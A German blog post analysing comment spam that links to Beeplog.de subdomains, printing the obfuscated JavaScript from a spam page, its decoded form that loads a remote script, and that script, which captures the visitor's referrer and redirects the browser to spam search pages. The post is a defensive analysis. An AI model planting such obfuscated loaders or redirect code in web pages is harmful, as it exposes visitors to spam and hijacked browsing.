In letzter Zeit ist mir mehrmals Kommentarspam aufgefallen, der die deutsche Adresse Beeplog.de verlinkt. Wenn ich die Links anklicke, lande ich merkwürdigerweise auf einer Google-Ergebnis-Seite.
Wie funktioniert das? Nehmen wir als Beispiel den Spam vorn heute: http:// kidney-stones. beeplog. de (die URLs habe ich in diesem Beitrag deaktiviert).
Wenn man die Seite mit ausgeschaltetem JavaScript ansurft, landet man auf einer ziemlich leeren Beeplog-Seite ohne Einträge, aber mit massig Links in der Sidebar. Schaut man in den Quelltext, stößt man schnell auf folgendes JavaScript:
script language="JavaScript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%64%72%75%67%2D%70%72%65%73%63%72%69%70%74%69%6F%6E%2E%6F%72%67%2F%6A%2E%70%68%70%3F%71%3D%6B%69%64%6E%65%79%25%32%30%73%74%6F%6E%65%73%22%3E%3C%2F%73%63%72%69%70%74%3E'))
Sprich: es ist ein kleines kodiertes Programm, das im Browser ausgeführt wird. Im Klartext sieht das dann so aus:
script language="JavaScript" type="text/javascript" src="http://drug-prescription.org/ j.php?q=kidney%20stones">
Sprich: Das entschlüsselte JavaScript wird direkt ausgeführt und holt weitere Anweisungen von einer externen Seite. Die sehen so aus:
var f =''; var url = ''; f = ref(); if (top != self){ url = 'http://people-say.info/ search.php?q=kidney stones&f=' + f; } else{ if (url == '' && f != '') url = filter(); else url = 'http://www.google.com/ search?hl=en&q=kidney stones'; } if (typeof(location.replace) != 'undefined') top.location.replace(url); else top.location.href = url; function filter(){ if (f.indexOf('.live.')!=-1 || f.indexOf('.google.')!=-1 || f.indexOf('.msn.')!=-1 || f.indexOf('.yahoo.')!=-1 || f.indexOf('.aol.')!=-1 || f.indexOf('.ask.')!=-1 || f.indexOf('.altavista.')!=-1 || f.indexOf('.all.')!=-1 || f.indexOf('.nigma.')!=-1 || f.indexOf('.dogpile.')!=-1 || f.indexOf('.metacrawler.')!=-1 || f.indexOf('meta.')!=-1 || f.indexOf('.yandex.')!=-1 || f.indexOf('.rambler.')!=-1 || f.indexOf('.webalta.')!=-1 || f.indexOf('.live.')!=-1) return 'http://people-say.info/ search.php?q=kidney stones&f='+ f; else return 'http://www.google.com/ search?hl=en&q=kidney stones'; } function ref(){ if (top == self) f = top.document.referrer; if ((f == "") || (f == "[unknown origin]") || (f == "unknown") || (f == "undefined")) if (document["parent"] != null) if (parent["document"] != null) // ACCESS ERROR HERE! if (parent.document["referrer"] != null) if (typeof(parent.document) == "object") f = parent.document.referrer; if ((f == "") || (f == "[unknown origin]") || (f == "unknown") || (f == "undefined")) if (document["referrer"] != null) f = document.referrer; if ((f == "") || (f == "[unknown origin]") || (f == "unknown") || (f == "undefined")) f = ""; f = escape(f); return f; }
Flüchtig betrachtet kontrolliert das Script welche Ergebnisseiten verschiedene Suchmaschinen für die entsprechenden Suchbegriffe ausgeben - und dann wird der User eben dahin geleitet. Der Spammer vertraut darauf, dass eine ausreichende Anzahl der Leute schon auf den richtigen Google-Link klicken wird. Und wenn Google ihn aus dem Index schmeißt, kann er ja den User noch auf andere Seiten umleiten.
Wie könnte man abhelfen? Beeplog.de müsste seine Blogs etwas sorgfältiger beobachten und einige JavaScript-Funktionen außer Kraft setzen. Der User könnte JavaScript deaktivieren - was heute illusorisch ist - oder schlichtweg drauf achten, nicht auf solche Spam-Links zu klicken.